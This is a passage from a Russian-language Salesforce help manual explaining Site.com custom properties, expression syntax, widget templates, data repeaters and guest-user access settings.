просматривать внесенные изменения в режиме реального времени.

1. Откройте нужную страницу.

2.
Нажмите кнопку .

3. Выберите нужное свойство стиля на левой панели.
Внесенные изменения моментально отображаются на правой панели.

СМ. ТАКЖЕ:

Общие сведения о фирменном стиле сайта

Создание свойств фирменного стиля

Настройка свойств фирменного стиля
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Использование настраиваемых свойств

Общие сведения о настраиваемых свойствах сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Настраиваемые свойства сайта позволяют задавать и хранить часто встречающееся
содержимое на сайте. Например, пользователь может хранить адрес и номер телефона
как настраиваемое свойство, доступное редакторам сайта для многократного
использования. Чтобыприменитьсохраненныесвойствакстраницам, верхниминижним
колонтитулам или виджетам, воспользуйтесь синтаксисом языка выражений.

Чтобы использовать настраиваемые свойства на веб-сайте, выполните указанные ниже
действия.

1. Определите настраиваемое свойство. Чтобы выполнить данное действие,
воспользуйтесьпредставлением «Настраиваемыесвойства»раздела «Конфигурация
сайта».

2. Чтобы заменить текущиеопределения данных свойств в каскадных таблицах стилей
или настраиваемых блоках кода, воспользуйтесь синтаксисом языка выражений.

Чтобы получить доступ к созданному свойству, которому заданы значение и тип, в
настраиваемом коде или блоках содержимого, воспользуйтесь выражениями. Выражения — это структурные нули для
данных, которые заменяются настраиваемым свойством при загрузке страницы.

СМ. ТАКЖЕ:

Создание настраиваемых свойств сайта

Настройка настраиваемых свойств
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Создание настраиваемых свойств сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Пользователи могут быстро создавать настраиваемые свойства, доступные редакторам
сайта для многократного использования.

При необходимости созданные настраиваемые свойства могут быть логически
систематизированы.

• Систематизация свойств посредством разделов для более удобного управления и
поиска.

• Изменение логического порядка отображения свойств внутри разделов. Например,
отображение свойств по алфавиту.

• Изменениепорядкаотображенияразделовисвойствпутемихперетаскиваниявнутри
представления «Настраиваемые свойства».

1. Последовательно выберите пункты «Конфигурация сайта» > «Настраиваемые
свойства».
Данное действие открывает представление «Настраиваемые свойства».

2.
Нажмите кнопку .

3. Введите имя свойства в поле «Метка».
Имявыражениядобавляется автоматически. Имявыраженияиспользуетсяв таблицах
стилей и блоках кода.

4. Выберите нужный тип.

5. Укажите стандартное значение.

6. Чтобы присвоить свойству статус обязательного, щелкните «Обязательно».

Чтобы изменить или удалить свойства, наведите указатель мыши на нужное свойство и

воспользуйтесь меню . Чтобыизменить имя раздела, дваждыщелкните нужное
имя.

СМ. ТАКЖЕ:

Общие сведения о настраиваемых свойствах сайта

Типы настраиваемых свойств

Настройка настраиваемых свойств
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Настройка настраиваемых свойств

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Синтаксис языка выражений, используемыйвнутритаблицыстилей, блока кода, виджета
илиредактора HTML-страниц, позволяет внедрятьнастраиваемыесвойствана веб-сайты.

Чтобыдобавить ссылку на настраиваемое свойство сайта в настраиваемыйкодилиблок
содержимого, воспользуйтесь следующим синтаксисом: {!Site.имя_выражения}.
Например, создайте настраиваемое свойство для храненияномера телефона компании,
где PhoneNumber используется как имя выражения. Введите строку «Свяжитесь с нами
по телефону {!Site.PhoneNumber}» в блок содержимого. При загрузке страницы
системазаменяетзначение, представленноепеременной {!Site.PhoneNumber}, иотображает
следующую строку: «Свяжитесь с нами по телефону 1-800-667-6389».

Прим.: Имена выражений чувствительны к регистру!

1. Откройте нужный элемент веб-сайта (например, блок содержимого или виджет).

2. Выберите нужную область для вставки выражения.

3. Чтобы просмотреть раскрывающийся список доступных свойств, введите символы
{!
.

4. Чтобы добавить свойство на страницу, дваждыщелкните выбранное свойство.

Пример: Благодарянастройкенастраиваемыхсвойств, пользователимогутшироко
применять данные, подверженные динамическим изменениям (например, адрес
илислоган). Выраженияявляютсяструктурныминулями, поэтомузначениесвойства,
обновляемое в представлении «Настраиваемые свойства», автоматически
обновляется во всехобластях страницы, ссылающихсянанастраиваемое свойство.

СМ. ТАКЖЕ:

Общие сведения о настраиваемых свойствах сайта

Создание настраиваемых свойств сайта
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Общие сведения о настраиваемых свойствах для шаблонов страниц или виджетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Созданныйшаблон страницы или виджет может быть дополнен настраиваемыми
свойствами, каждому из которых может быть задано значение и тип, позволяющими
совершенствовать способы повторного использования шаблонов и виджетов.

Чтобы получить доступ к значениям свойств, использующим выражения, рекомендуем
добавить настраиваемый код или блоки содержимого в шаблон страницы или виджет.
Выраженияявляютсяструктурныминулямидляданных, которыезаменяютсясведениями
при загрузке страницы.

Страница, созданная пользователем или рабочей группой на основешаблона, является
копиейили экземпляромшаблона. Аналогично, виджет, добавленныйнастраницу, является
экземпляром виджета. Экземпляр не может быть изменен, но значения его свойств
доступны для обновления.

Выражения являются структурными нулями, поэтому их значения обновляются
автоматическиприобновлении значенийнапанели «Свойства» страницыиливиджета.

Чтобы сгруппировать связанные свойства, рекомендуем создать разделы. Данные разделы позволяют группировать
свойства на панели «Свойства».

Пример: Например, пользователь добавляет блок содержимого вшаблон для отображения заголовка страницы. В
данном случае при создании страницы на основе шаблона пользователь может разрешить замену только части
текста вместо редактирования всего блока содержимого.

При добавлении настраиваемого свойства pageSubject и выборе исходного значения пользователь может
дополнить блок содержимого выражением ниже.

Общие сведения о {!pageSubject}

Данное действие позволяет участникам рабочей группы переименовывать любую страницу, созданную на основе
шаблона, путем обновления свойства Page Subject на панели «Свойства» страницы, которое автоматически
обновляет значение, представленное выражением {!pageSubject}.

Пример: Например, при создании виджета YouTube используется код внедрения ниже.

<iframe width="560" height="315" src="//www.youtube.com/embed/hcUaN6XBTz4"
frameborder="0" allowfullscreen></iframe>

Темнеменее, чтобыразрешитьпользователям выбирать видеоролик для отображенияпридобавлении экземпляра
виджета на страницу, рекомендуем создать раздел YouTube и добавить настраиваемое свойство Video URL, где
videoURL используется как имя выражения. См. пример кода ниже.

<iframe width="560" height="315" src="{!videoURL}" frameborder="0"
allowfullscreen></iframe>
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Теперьпользователи, добавившиевиджет YouTube настраницу, могутвыбиратьдругойвидеороликпутемобновления
свойства Video URL в разделе YouTube панели «Свойства», которое автоматически обновляет значение,
представленное выражением {!videoURL}.

СМ. ТАКЖЕ:

Общие сведения о виджетах

Добавление настраиваемых свойств в шаблоны страниц или виджеты

Типы настраиваемых свойств

Общие сведения об отображении динамических данных посредством выражений

Добавление настраиваемых свойств в шаблоны страниц или виджеты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Созданныйшаблон страницы или виджет может быть дополнен настраиваемыми
свойствами, каждому из которых может быть задано значение и тип.

Чтобы получить доступ к значениям свойств, использующим выражения, которые
являются структурными нулями, рекомендуем добавить настраиваемый код или блоки
содержимоговшаблонстраницыиливиджет. Чтобыизменить экземплярприсоздании
страницы на основе шаблона или добавлении экземпляра виджета на страницу,
пользователь или рабочая группа может просто обновить значения свойств.

Ниже перечислены действия, доступные в открытомшаблоне страницы или виджете.

1. Убедитесь, что шаблон или виджет выбран на панели «Структура страницы», и
щелкните «Редактировать настраиваемые свойства» на панели «Свойства».

2. Щелкните «Создать свойство».

Раздел «База» используется по умолчанию и может быть переименован. Разделы
позволяют группировать свойства на панели «Свойства» экземпляра виджета или
страницы.

3. Введитеметку свойства, отображающуюсянапанели «Свойства» экземпляравиджета
или страницы (например, Video URL).

4. При необходимости обновите автоматически добавленное имя выражения.

Имена выражений чувствительны к регистру и не могут содержать пробелов.

5. Укажите тип и значение свойства.

6. При необходимости назначьте свойству статус обязательного.

7. Принеобходимостидобавьтедополнительныесвойстваилиразделы. Чтобыизменить
порядок отображения элементов, перетащите их в другую область.

8. Чтобы использовать настраиваемое свойство, перетащите элемент страницы
«Настраиваемыйкод»или«Блоксодержимого» совкладки «Элементыстраницы»
в шаблон страницы или виджет.

9. Чтобыдобавитьссылкунавыражение, воспользуйтесьсинтаксисом {!имя_выражения}
(например, {!videoURL}).
Выражение заменяется значением свойства при загрузке страницы.

10. Добавьте любой дополнительный текст и сохраните внесенные изменения.
Например, «Видеоролик доступен по адресу {!videoURL}».
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Совет: При необходимости создайте настраиваемое свойство путем ввода имени свойства в настраиваемый код
илиблоксодержимогопосредствомязыкавыражений. Например, привводе {!videoHeight} вблоксодержимого
панель «Свойства» шаблонаиливиджетаавтоматическидополняетсяновымсвойством videoHeight, позволяющим
добавлять значение свойства.

Обновление свойств виджета не инициирует отображение изменений в экземплярах виджета. Текущие экземпляры
виджета должны быть заменены последней версией.

При удалении настраиваемого свойства, используемого настраиваемым кодом или блоком содержимого, рекомендуем
удалить все соответствующие ссылки.

СМ. ТАКЖЕ:

Общие сведения о настраиваемых свойствах для шаблонов страниц или виджетов

Типы настраиваемых свойств

Общие сведения об отображении динамических данных посредством выражений

Создание виджетов

Типы настраиваемых свойств

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Типы свойств позволяют конструкторам и администраторам сайта создавать свойства
фирменного стиля сайта, настраиваемые свойства сайта, свойства фирменного стиля
виджета и настраиваемые свойства виджета.

ОписаниеТип свойства

Ввод текстового значения.Текст

Выбористинного (флажокустановлен) илиложного (флажок
снят) значения.

Кнопка-флажок

Выборцветанапалитреилипутемвводашестнадцатеричного
значения (например, #333333).

Цвет

Выбор изображения путем просмотра изображения сайта,
загрузки нового изображения или ввода URL-адреса
изображения.

Изображение

Ввод HTML-значения.HTML

Выбор единицы измерения: пикселы, проценты или em
(например, 5px).

Единицы

Выбор значения из заданного списка.

Чтобыдобавитьэлементывраскрывающийсясписок, создайте
список параметров, введенных через запятую, где каждому

Раскрывающийся
список

параметру соответствуетметкаи значение (например, «Метка
1:значение 1, Метка 2:значение 2»). По умолчанию
параметр, значение которого отсутствует, использует метку в
качестве значения.
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ОписаниеТип свойства

Чтобы задать стандартные значения раскрывающегося списка, воспользуйтесь
форматом метка:значение:по умолчанию  (например, «"Маленький:М:по умолчанию",
"Большой:Б"»).

Выбор шрифта.Шрифт

СМ. ТАКЖЕ:

Добавление настраиваемых свойств в шаблоны страниц или виджеты

Создание настраиваемых свойств сайта

Создание свойств фирменного стиля

Работа с динамическими данными

Общие сведения о службах данных Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Службыданных Site.comобъединяютразличныефункции, позволяющиеустанавливать
связь состандартнымиинастраиваемымиобъектамиSalesforce. Данныемогутизвлекаться
из объектов организации и отображаться на страницах сайта в динамическом режиме
илиотправляться клиентаминапрямую. Кроме того, приобновленииданныхвобъектах
Salesforce внесенные изменения автоматически отображаются на действующем сайте!

Ниже перечислены некоторые способы использования служб данных Site.com.

• Публикациякаталогапродуктов: составлениеспискапродуктовидобавлениесведений
(например, номера моделей и цены), извлекаемых из организации в динамическом
режиме.

• Размещениекорпоративныхпресс-релизов: публикацияисортировкакорпоративных
пресс-релизов по дате публикации.

• Создание веб-сайта по недвижимости: отображение текущих вариантов,
отфильтрованных по городу или цене.

• Создание веб-сайта по подбору кадров: рекомендуем опубликовать открытые вакансии на общедоступный сайт и
разрешить посетителям отправку резюме и заявок.

Как это работает? Некоторыепривязанные к данным элементы страницыпозволяютизвлекать и отображать данныеили
собирать данные посетителей сайта.

Таблицы данных позволяют устанавливать связи с объектами Salesforce, извлекать наборы данных на основе заданных
критериев фильтрации и отображать записи в виде строк таблицы.

Повторителиданныхиэлементыданныхпозволяютустанавливатьсвязисостандартнымиинастраиваемымиобъектами,
а такжеизвлекать и отображать данныена страницах сайта в динамическомрежиме. Повторитель данных, используемый
совместно с элементами данных, позволяет создавать «шаблон повторения», отображающий на странице как минимум
одну запись.

Функцииобработкиданныхпозволяютвыполнятьрасчетыподанным, извлеченнымизобъектов, иотображатьполученные
результаты на странице. Например, функция обработки данных позволяет рассчитать общее значение или среднее
количество всех возвращенных записей для отдельного поля объекта.
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Вложенные повторители позволяют извлекать данные из объектов, между которыми установлена взаимосвязь
«родитель — потомок».

Формы и поля формы позволяют собирать данные о посетителях сайта и отправлять эти данные в стандартные или
настраиваемые объекты Salesforce. Пользователи могут создавать формы Web-to-Lead, собирать сведения о клиентах или
отзывы о продуктах и услугах.

Рекомендации по работе со службами данных

• Чтобы разрешить пользователям-гостям просмотр или отправку данных в объект Salesforce, рекомендуем настроить
полномочия доступа к данным объекта.

• Чтобы воспользоваться преимуществами служб данных Site.comприработе с активами, рекомендуемимпортировать
файлынавеб-сайтисохранитьсоответствующийотносительный URL-адресв стандартныйилинастраиваемыйобъект.
См. раздел «Хранение активов для использования в объектах Salesforce» на странице 5195.

• При добавлении на сайт элемент страницы, привязанный к данным, будет заблокирован в случае изменения типа
поляв связанномобъектеSalesforce (например, призаменетекстовогополяраскрывающимсясписком). Чтобыдобавить
ссылку на обновленное поле, рекомендуем повторно настроить элемент страницы, привязанный к данным.

• Изменения, внесенные в данные объекта, связанного с таблицей данных, повторителем данных или функцией
обработки данных, автоматически отображаются на действующем сайте. Чтобы выбрать записи, утвержденные для
публикации, рекомендуем добавить поле раскрывающегося списка в объект. Данное поле позволяет фильтровать
записи по статусу «Утверждено», поэтому на действующем сайте могут отображаться только утвержденные записи.

СМ. ТАКЖЕ:

Общие сведения о доступе к данным в связанных объектах

Добавление пагинации в повторители данных и таблицы данных

Представления «По умолчанию», «Ошибка» и «Нет данных»
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Настройка полномочий доступа к данным для объектов Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

И

«Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Сайты, разработанные с помощью Site.com, являются общедоступными, поэтому их
посетителям предоставляется связанная лицензия пользователя-гостя.

По умолчанию посетителям сайта доступна информация, размещенная на активном
общедоступном сайте (например, активы и страницы сайта). Тем не менее, просмотр и
отправка данных в объекты Salesforce предоставляются пользователям-гостям сайта
только путем изменения полномочий объекта в соответствующем профиле. Каждому
сайту назначается отдельная лицензия пользователя-гостя, поэтому уровень гостевого
доступа к объектам Salesforce определяется на частной основе.

Чтобы изменить профиль пользователя-гостя, выполните указанные ниже действия.

1. Щелкните «Конфигурация сайта» и «Профиль имя_сайта» на вкладке «Общие
сведения» приложенияSite.com Studio. Придобавленииповторителяданных, таблицы
данных, функции обработки данных или формы на страницу щелкните ссылку
«откройте профиль пользователя-гостя» в диалоговом окне элемента.

2. В профиле пользователя-гостя включите полномочие «Чтение» для стандартных
илинастраиваемыхобъектов, которыедолжныиспользоватьсядляизвлеченияданных
посредствомповторителейданных, таблицданныхилифункцийобработкиданных.
Включите полномочие «Создание» для целевых объектов отправки данных
посредством форм. Полномочия, которые не были предоставлены по умолчанию,
должны быть предоставлены вручную.

3. При необходимости измените параметры безопасности полей объекта.

СМ. ТАКЖЕ:

Хранение активов для использования в объектах Salesforce

Общие сведения о службах данных Site.com

5194

Site.comРасширение Salesforce посредством интерактивных
инструментов



Хранение активов для использования в объектах Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Веб-сайты, разработанные с помощью Site.com, являются общедоступными, поэтомуих
посетители не обладают полномочиями, необходимыми для просмотра изображений
и документов, хранящихся в объектах Salesforce, которые, в свою очередь, доступны
только проверенным пользователям.

Чтобы воспользоваться преимуществами служб данных Site.com, рекомендуем
импортироватьфайлыв Site.comисохранитьотносительный URL-адрес данныхактивов
встандартныйилинастраиваемыйобъект. Абсолютный URL-адресможетиспользоваться
в том случае, если изображения илифайлы размещены на других веб-узлах и доступны
в Интернете.

Например, настраиваемыйобъект «Каталог» используется для создания страницысайта
«Каталог», содержащей сведения и изображения продуктов. Прежде чем перейти к
созданию страницы сайта «Каталог», выполните указанные ниже действия.

1. Импортируйте изображения продуктов на сайт Site.com.

2. Чтобы сохранить относительный URL-адрес изображения, добавьте поле в объект
«Каталог» (например, «URL-адрес изображения»).

3. Добавьте относительный путь изображения для каждой записи продукта. Данный
URL-адрес связан с сайтом, поэтому относительный путь к изображению
widget.png, загруженному на сайт, будет выглядеть следующим образом:
/widget.png. URL-адреса чувствительны к регистру.

Если таблица данных или повторитель данных и элементы данных добавляются на
страницу сайта «Каталог» для отображения сведений о продукте, то поле «URL-адрес
изображения» может использоваться для динамического отображения изображений
всех продуктов на странице.

СМ. ТАКЖЕ:

Настройка полномочий доступа к данным для объектов Salesforce

Общие сведения о службах данных Site.com
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Динамическое извлечение и отображение данных

Динамическое извлечение данных с помощью повторителей данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования
профиля
пользователя-гостя:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

И

«Управление
профилями и наборами
полномочий»

И

«Настройка
приложения»

Повторители данных позволяют устанавливать связь со стандартными или
настраиваемыми объектами Salesforce и извлекать наборы данных на основе заданных
критериев фильтрации. Повторитель данных, используемый совместно с элементами
данных, настраиваемымкодомилиблокамисодержимого, позволяет создавать «шаблон
повторения», отображающий на странице как минимум одну запись.

Чтобыдобавитьповторительданныхна страницу, выполните указанныенижедействия.

1. Перетащите элемент «Повторитель данных» с панели «Элементы страницы» на
страницу.

2. Выберите нужный объект.

Прим.:

• Для пользователей Site.com: раскрывающийся список содержит только те
объекты, которые доступны пользователям-гостям, так как посетителям
общедоступногосайтапредоставляетсялицензияпользователя-гостя. Чтобы
предоставить пользователям-гостям доступ к другим объектам, откройте
профиль пользователя-гостя, включите полномочие «Чтение» для
соответствующего объекта и обновите список.

• Дляпользователейсообществ: раскрывающийсясписоксодержитобъекты,
которые не могут быть доступны посетителям сайта. Доступ проверенных
посетителей к объектам на общедоступных и личных страницах
контролируется соответствующими профилями пользователя. Доступ
непроверенных посетителей к объектам на общедоступных страницах
контролируется профилем пользователя-гостя сайта.

3. При необходимости выберите критерии фильтрации набора данных в разделе
«Фильтры». Если критерии фильтрации не заданы, то отображаются все данные
элемента.

a. Выберите поле, к которому должны быть применены критерии фильтрации.
Раскрывающийся список «Поле» содержит поля объекта, за которыми следуют
поля всех родительских объектов, указанные в следующемформате:
имя_родительского_объекта.имя_поля.

b. Чтобыопределить способфильтрациирезультатов, выберитенужныйоператор.
Например, чтобы просмотреть точные совпадения, выберите оператор «Равно».

c. Выберите источник значенияфильтра. Например, чтобы задать явное значение,
выберите «Фиксированное значение». Чтобыиспользовать значения, переданныена
страницу посредством строки запроса, выберите «Строка URL-запроса».

d. Задайте значение фильтра. При использовании строки запроса рекомендуем
также указать алгоритм действий в случае ее отсутствия.

e. Чтобы уточнить результаты фильтрации, добавьте дополнительные критерии. Каждый элемент фильтра
дополняется оператором «И».

Прим.: Если фильтрация результатов выполняется на основе фиксированного значения, то возвращенные
записимогутбытьпросмотренывразделе «Предварительныйпросмотрподключения». Чтобыобновить список
записей, щелкните «Повторить загрузку предварительного просмотра».
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4. Укажитепорядоксортировкирезультатов (повозрастаниюилиубыванию) инеобходимоеколичествополейвразделе
«Сортировка». Например, если объект содержит пользовательские данные, то результаты могут быть отсортированы
сначала по полу, а затем по имени.

5. Укажитемаксимальнодопустимоеколичествоотображаемыхрезультатов вразделе «Ограничения». Например, чтобы
просмотреть только первые пять результатов, введите значение «5» в поле «Ограничить результаты:».

6. Придобавлениипагинацииукажитемаксимальнодопустимоеколичестворезультатовнастраницувполе «Количество
результатов на страницу».

7. Нажмите кнопку «Сохранить».

Затем добавьте элементы данных, настраиваемый код или блоки содержимого в повторитель данных для отображения
излеченных данных.

СМ. ТАКЖЕ:

Представления «По умолчанию», «Ошибка» и «Нет данных»

Повышение производительности посредством кэширования

Примерыфильтрации данных

Общие сведения о службах данных Site.com
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Отображение данных с помощью элементов данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Рекомендуем использовать элемент данных для отображения данных, извлеченных
информационнымподключениемстраницыилиповторителемданных. Элементданных
соотносится с полем объекта и выступает в качестве структурного нуля, который
заменяется данными поля при загрузке страницы.

Элементыданных, используемыесовместносповторителемданных, позволяютсоздавать
«шаблонповторения», отображающийнастраницекакминимумодну запись. Элементы
данных, используемые совместно с информационным подключением страницы,
отображают данные из отдельной записи.

Элементы данныхпозволяютотображать обычный текст, форматированный текст (для
дат и чисел) или изображения. Кроме того, элементы данных могут содержать
гиперссылки для переадресации посетителей сайта на другую страницу (например,
подробное описание) или обновления данных, отображаемых на странице или в
повторителеданныхнаоснове выборапользователя. См. раздел «Примерыфильтрации
данных» на странице 5227.

Ниже перечислены действия, доступные на открытой странице.

1. Перетащите элемент «Элемент данных» с панели «Элементы страницы» в
повторитель данных. При наличии информационного подключения страницы
перетащите элемент страницы «Элемент данных» прямо на холст страницы.

2. Выберите нужное поле. Чтобы определить способ отображения данных поля,
щелкните «Настроить».

Прим.: Поля объекта отображаются первыми; затем следуют поля всех
родительских объектов, использующихформат
имя_родительского_объекта.имя_поля.

3. Выберите тип отображения.

ОписаниеПараметр

Отображение данных поля в виде
обычного текста.

Текст

Выбор нужного формата отображения
текста при использовании дат, времени
или валюты.

Форматированный текст

Отображениеданныхполя, содержащего
URL-адрес изображения, в виде

Изображение

изображения. URL-адрес может быть
абсолютным или относительным.

При необходимости выберите поле для
альтернативного текста или введите
настраиваемый текст.

4. Чтобы создать гиперссылку, выберите «Добавить гиперссылку». В противном случае перейдите к действию 8.
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5. Выберите тип ссылки.

ОписаниеПараметр

Связывание с веб-страницей путем выполнения одного
из указанных ниже действий.

URL-адрес

• Выбор нужного поля (например, поле, содержащее
относительные URL-адреса PDF-файлов, загруженных
на сайт).

• Выборнужногополяинажатиекнопки «Настроить»
длядобавленияабсолютного URL-адресаилисоздания
настраиваемой ссылки (например, строки
URL-запроса).

Связывание со страницей, изображением или файлом,
используемым на сайте, путем выбора типа элемента и

Элемент сайта

самогоэлемента. (Еслисписокэлементовнеотображается,
установите курсор в поле «URL-адрес» и нажмите
клавишу со стрелкой «вниз» на клавиатуре.)

При необходимости настройте URL-адрес (например,
путем создания строки URL-запроса).

Связывание с сообщением эл. почты путем ввода адреса
получателя, темы и текста сообщения.

Поля слияния могут использоваться для доступа к полям
объекта. Например, если объект содержит поле «Эл.

Эл. почта

почта», введите поле слияния (например, {!email}) в
текстовое поле «Адрес эл. почты».

При выборе ссылки открывается окно создания
сообщения в почтовом клиенте пользователя и
заполняется поле «Кому» соответствующим адресом эл.
почты .

6. Чтобыдобавитьподсказку, выберитеобязательноеполеилищелкните«Настроить»длядобавлениянастраиваемого
текста.

Подсказка отображается в виде всплывающего окна при наведении указателя мыши на ссылку.

7. Выберите область отображения элемента, связываемого с URL-адресом или элементом сайта.

ОписаниеПараметр

Элементотображаетсявовсплывающемокне. Привыборе
данного параметра пользователь может указать имя

Во всплывающем окне

всплывающего окна, а также определить его размеры и
внешний вид.
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ОписаниеПараметр

Элемент отображается в новом безымянном окне
обозревателя.

В новом окне (_blank)

Элемент отображается в том же окне в виде ссылки.
Данный параметр выбран по умолчанию.

В текущем окне (_self)

Элемент отображается в активном родительском наборе
рамок или окне-рамке, содержащем ссылку.

В активном окне (_top)

Элементотображается вродительскомнаборерамокили
окне-рамке, содержащем ссылку.

В родительском окне (_parent)

8. Нажмите кнопку «Сохранить».

Элемент данных отображается на странице в качестве поля слияния. Чтобы протестировать отображаемые результаты,
откройте страницу для предварительного просмотра.

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Извлечение данных посредством информационных подключений страницы

Отображение данных с помощью настраиваемого кода

Отображение данных с помощью блоков содержимого
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Отображение данных с помощью настраиваемого кода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Помимо элементов данных и блоков содержимого, данные могут отображаться в
повторителе данных или информационном подключении страницы посредством
настраиваемого кода. Альтернативный способ позволяет отображать данные поля в
соответствии с текстом.

Ниже перечислены действия, доступные на открытой странице.

1. Перетащите элемент страницы «Настраиваемый код» с панели «Элементы
страницы» в повторитель данных. При наличии информационного подключения
страницы перетащите элемент страницы «Настраиваемый код» прямо на холст
страницы.

2. Чтобы получить доступ к полям объекта, связанного с повторителем данных или
страницей, введите {! и дваждыщелкните нужное выражение.

Прим.: Поля объекта отображаются первыми; затем следуют поля всех
родительских объектов, использующихформат
имя_родительского_объекта.имя_поля.

3. Добавьте любыедополнительныевыраженияиливведитенужныйтекст. Например:

To contact {!Name}, call {!Phone}.

где {!Name} и {!Phone} являются структурными нулями для значений полей «Имя» и «Тел.» каждой записи.

4. Нажмите кнопку «Сохранить и закрыть».

СМ. ТАКЖЕ:

Динамическое извлечение данных с помощью повторителей данных

Извлечение данных посредством информационных подключений страницы

Отображение данных с помощью блоков содержимого

Примерыфильтрации данных
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Отображение данных с помощью блоков содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Помимо элементов данных и настраиваемого кода, данные могут отображаться в
повторителеданныхилиинформационномподключениистраницыпосредствомблоков
содержимого. Альтернативныйспособпозволяетотображатьданныеполявсоответствии
с текстом.

Ниже перечислены действия, доступные на открытой странице.

1. Перетащитеэлементстраницы«Блоксодержимого»спанели «Элементыстраницы»
в повторитель данных. При наличии информационного подключения страницы
перетащите элемент страницы «Блок содержимого» прямо на холст страницы.

2. Введитеимяполя, котороедолжноотображатьсяпосредствомвыражения. Например,
{!Name}.

Прим.: Поля объекта отображаются первыми; затем следуют поля всех
родительских объектов, использующихформат
имя_родительского_объекта.имя_поля.

3. Добавьте любыедополнительныевыраженияиливведитенужныйтекст. Например:

